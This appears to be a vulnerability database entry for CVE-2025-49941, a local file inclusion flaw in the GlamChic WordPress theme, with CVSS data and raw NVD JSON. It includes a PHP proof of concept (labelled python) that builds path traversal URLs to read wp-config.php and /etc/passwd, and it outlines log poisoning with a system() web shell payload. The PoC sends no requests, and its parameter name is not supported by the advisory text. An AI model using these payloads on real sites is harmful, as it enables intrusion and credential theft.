Security Vulnerability Report
中文
CVE-2025-49941 CVSS 8.1 HIGH

CVE-2025-49941

Published: 2025-12-18 08:15:52
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes GlamChic glamchic allows PHP Local File Inclusion.This issue affects GlamChic: from n/a through <= 1.0.11.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

GlamChic <= 1.0.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // CVE-2025-49941 PoC - GlamChic Local File Inclusion // Target: WordPress site with GlamChic theme <= 1.0.11 // Vulnerability: Local File Inclusion via unprotected include statement $target = 'http://target-site.com'; // Read wp-config.php (sensitive configuration file) $exploit_path = '/wp-content/themes/glamchic/?gch_template=../../wp-config.php'; echo "[*] Exploiting LFI to read wp-config.php...\n"; echo "[*] Request URL: " . $target . $exploit_path . "\n\n"; // Read system files $system_files = [ '../../../../etc/passwd', '../../../../etc/hosts', '../../../wp-config.php' ]; foreach ($system_files as $file) { $url = $target . '/wp-content/themes/glamchic/?gch_template=' . urlencode($file); echo "[*] Trying: $file\n"; echo "[*] URL: $url\n"; // In real attack, make HTTP request here and parse response // If file content is returned, vulnerability is confirmed } // Log poisoning technique for RCE echo "\n[*] Log poisoning for potential RCE:\n"; $log_file = '../../../../var/log/apache2/access.log'; $payload = '<?php system($_GET["cmd"]); ?>'; echo "[*] Include log file: " . $log_file . "\n"; echo "[*] Then access: ?cmd=whoami\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49941", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:52.357", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes GlamChic glamchic allows PHP Local File Inclusion.This issue affects GlamChic: from n/a through <= 1.0.11."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/glamchic/vulnerability/wordpress-glamchic-theme-1-0-11-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}